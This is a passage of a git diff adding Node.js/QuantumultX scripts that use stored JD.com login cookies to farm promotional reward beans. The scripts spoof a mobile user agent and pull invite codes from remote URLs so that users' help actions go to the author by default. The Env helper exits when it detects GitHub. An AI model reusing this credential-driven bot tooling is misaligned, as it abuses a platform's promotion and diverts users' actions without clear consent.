&& process.env.JD818_SHARECODES) { + if (process.env.JD818_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JD818_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JD818_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + let data = await updateShareCodes("https://gitee.com/shylocks/updateTeam/raw/main/jd_818.json") + if(data){ + inviteCodes[0] = data.join('@') + inviteCodes[1] = data.join('@') + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function taskUrl(function_id,body) { + let url = `${JD_API_HOST}${function_id}?t=${new Date().getTime()}&${body}`; + return { + url, + headers: { + "Cookie": cookie, + "origin": "https://rdcseason.m.jd.com", + "referer": "https://rdcseason.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } +} + +function taskPostUrl(function_id, body = "") { + let url = `${JD_API_HOST}${function_id}`; + return { + url, + body: body, + headers: { + "Cookie": cookie, + "origin": "https://rdcseason.m.jd.com", + "referer": "https://rdcseason.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } +} + +function taskPostUrl2(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function updateShareCodes(url = 'https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_818.json') { + return new Promise(resolve => { + $.get({url, + headers:{"User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")} + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + } else { + resolve(JSON.parse(data)) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_818.js b/activity/jd_818.js new file mode 100644 index 0000000..06e4417 --- /dev/null +++ b/activity/jd_818.js @@ -0,0 +1,930 @@ +/* +京东手机狂欢城活动,每日可获得30+以上京豆(其中20京豆是往期奖励,需第一天参加活动后,第二天才能拿到) +活动时间10.21日-11.12日结束,活动23天,保底最少可以拿到690京豆 +活动地址: https://rdcseason.m.jd.com/#/index + +其中有20京豆是往期奖励,需第一天参加活动后,第二天才能拿到!!!! + + +每天0/6/12/18点逛新品/店铺/会场可获得京豆,京豆先到先得 +往期奖励一般每天都能拿20京豆 + +注:脚本运行会给我提供的助力码助力,介意者可删掉脚本第48行helpCode里面的东西。留空即可(const helpCode = []); + +支持京东双账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#京东手机狂欢城 +0 0-18/6 * * * jd_818.js, tag=京东手机狂欢城, enabled=true +=====================Loon================ +[Script] +cron "0 0-18/6 * * *" script-path=jd_818.js, tag=京东手机狂欢城 +====================Surge================ +京东手机狂欢城 = type=cron,cronexp=0 0-18/6 * * *,wake-system=1,timeout=3600,script-path=jd_818.js + */ +const $ = new Env('京东手机狂欢城'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +let jdNotify = false;//是否开启推送互助码 +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + cookiesArr = cookiesArr.filter(item => item !== "" && item !== null && item !== undefined); +} + +const JD_API_HOST = 'https://rdcseason.m.jd.com/api/'; +const activeEndTime = '2021/2/4 00:59:59+08:00'; +const addUrl = 'http://jd.turinglabs.net/helpcode/create/'; +const printUrl = `http://jd.turinglabs.net/api/v2/jd/5g/read/30/`; +let helpCode = [] +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.temp = []; + await updateShareCodesCDN(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await JD818(); + // await getHelp(); + // await doHelp(); + // await main(); + } + } + // console.log(JSON.stringify($.temp)) +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function main() { + // await getHelp(); + await Promise.all([ + getHelp(), + listGoods(), + shopInfo(), + listMeeting(), + ]); + await $.wait(10000); + await Promise.all([ + listGoods(), + shopInfo(), + listMeeting(), + doHelp(), + myRank(), + ]); + await Promise.all([ + getListJbean(), + getListRank(), + getListIntegral(), + ]); + await showMsg() +} +async function JD818() { + try { + await getHelp(); + await listGoods();//逛新品 + await shopInfo();//逛店铺 + await listMeeting();//逛会场 + await $.wait(10000); + //再次运行一次,避免出现遗漏的问题 + await listGoods();//逛新品 + await shopInfo();//逛店铺 + await listMeeting();//逛会场 + await doHelp(); + await myRank();//领取往期排名奖励 + await getListJbean(); + await getListRank(); + await getListIntegral(); + await showMsg() + } catch (e) { + $.logErr(e) + } +} +function listMeeting() { + const options = { + 'url': `${JD_API_HOST}task/listMeeting?t=${Date.now()}`, + 'headers': { + 'Host': 'rdcseason.m.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'Connection':' keep-alive', + 'Cookie': cookie, + 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + 'Accept-Language': 'zh-cn', + 'Referer': `https://rdcseason.m.jd.com/?reloadWQPage=t_${Date.now()}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise((resolve) => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log('ddd----ddd', data.code) + if (data.code === 200 && data.data.meetingList) { + let integralNum = 0, jdNum = 0; + for (let item of data.data.meetingList) { + let res = await browseMeeting(item.id); + if (res.code === 200) { + let res2 = await getMeetingPrize(item.id); + integralNum += res2.data.integralNum * 1; + jdNum += res2.data.jdNum * 1; + } + // await browseMeeting('1596206323911'); + // await getMeetingPrize('1596206323911'); + } + console.log(`逛会场--获得积分:${integralNum}`) + console.log(`逛会场--获得京豆:${jdNum}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function listGoods() { + const options = { + 'url': `${JD_API_HOST}task/listGoods?t=${Date.now()}`, + 'headers': { + 'Host': 'rdcseason.m.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'Connection':' keep-alive', + 'Cookie': cookie, + 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + 'Accept-Language': 'zh-cn', + 'Referer': `https://rdcseason.m.jd.com/?reloadWQPage=t_${Date.now()}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise( (resolve) => { + $.get(options, async (err, resp, data) => { + try { + // console.log('data1', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200 && data.data.goodsList) { + let integralNum = 0, jdNum = 0; + for (let item of data.data.goodsList) { + let res = await browseGoods(item.id); + if (res.code === 200) { + let res2 = await getGoodsPrize(item.id); + // console.log('逛新品领取奖励res2', res2); + integralNum += res2.data.integralNum * 1; + jdNum += res2.data.jdNum * 1; + } + } + console.log(`逛新品获得积分:${integralNum}`) + console.log(`逛新品获得京豆:${jdNum}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }); +} +function shopInfo() { + const options = { + 'url': `${JD_API_HOST}task/shopInfo?t=${Date.now()}`, + 'headers': { + 'Host': 'rdcseason.m.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'Connection':' keep-alive', + 'Cookie': cookie, + 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + 'Accept-Language': 'zh-cn', + 'Referer': `https://rdcseason.m.jd.com/?reloadWQPage=t_${Date.now()}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise( (resolve) => { + $.get(options, async (err, resp, data) => { + try { + // console.log('data1', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200 && data.data) { + let integralNum = 0, jdNum = 0; + for (let item of data.data) { + let res = await browseShop(item.shopId); + // console.log('res', res) + // res = JSON.parse(res); + // console.log('res', res.code) + if (res.code === 200) { + // console.log('---') + let res2 = await getShopPrize(item.shopId); + // console.log('res2', res2); + // res2 = JSON.parse(res2); + integralNum += res2.data.integralNum * 1; + jdNum += res2.data.jdNum * 1; + } + } + console.log(`逛店铺获得积分:${integralNum}`) + console.log(`逛店铺获得京豆:${jdNum}`) + } + } + // console.log('data1', data); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }) + +} +function browseGoods(id) { + const options = { + "url": `${JD_API_HOST}task/browseGoods?t=${Date.now()}&skuId=${id}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + return new Promise( (resolve) => { + $.get(options, (err, resp, data) => { + try { + // console.log('data1', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + // console.log('data1', data); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getGoodsPrize(id) { + const options = { + "url": `${JD_API_HOST}task/getGoodsPrize?t=${Date.now()}&skuId=${id}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + return new Promise( (resolve) => { + $.get(options, (err, resp, data) => { + try { + // console.log('data1', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function browseShop(id) { + const options2 = { + "url": `${JD_API_HOST}task/browseShop`, + "body": `shopId=${id}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + return new Promise( (resolve) => { + $.post(options2, (err, resp, data) => { + try { + // console.log('data1', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function getShopPrize(id) { + const options = { + "url": `${JD_API_HOST}task/getShopPrize`, + "body": `shopId=${id}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + return new Promise( (resolve) => { + $.post(options, (err, resp, data) => { + try { + // console.log('getShopPrize', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function browseMeeting(id) { + const options2 = { + "url": `${JD_API_HOST}task/browseMeeting`, + "body": `meetingId=${id}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + return new Promise( (resolve) => { + $.post(options2, (err, resp, data) => { + try { + // console.log('点击浏览会场', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function getMeetingPrize(id) { + const options = { + "url": `${JD_API_HOST}task/getMeetingPrize`, + "body": `meetingId=${id}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + return new Promise( (resolve) => { + $.post(options, (err, resp, data) => { + try { + // console.log('getMeetingPrize', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function myRank() { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/myRank?t=${Date.now()}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.jbeanNum = ''; + $.get(options, async (err, resp, data) => { + try { + // console.log('查询获奖列表data', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200 && data.data.myHis) { + for (let i = 0; i < data.data.myHis.length; i++) { + $.date = data.data.myHis[0].date; + if (data.data.myHis[i].status === '21') { + await $.wait(1000); + console.log('开始领奖') + let res = await saveJbean(data.data.myHis[i].id); + // console.log('领奖结果', res) + if (res.code === 200 && res.data.rsCode === 200) { + // $.jbeanNum += Number(res.data.jbeanNum); + console.log(`${data.data.myHis[i].date}日奖励领取成功${JSON.stringify(res.data.jbeanNum)}`) + } + } + if (i === 0 && data.data.myHis[i].status === '22') { + $.jbeanNum = data.data.myHis[i].prize; + } + } + // for (let item of data.data.myHis){ + // if (item.status === '21') { + // await $.wait(1000); + // console.log('开始领奖') + // let res = await saveJbean(item.id); + // // console.log('领奖结果', res) + // if (res.code === 200 && res.data.rsCode === 200) { + // $.jbeanNum += Number(res.data.jbeanNum); + // } + // } + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function saveJbean(id) { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/saveJbean`, + "body": `prizeId=${id}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, (err, resp, data) => { + try { + // console.log('领取京豆结果', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function doHelp() { + console.log(`脚本自带助力码数量:${helpCode.length}`) + let body = '', nowTime = Date.now(), tempCode = []; + const zone = new Date().getTimezoneOffset(); + if (zone === 0) { + nowTime += 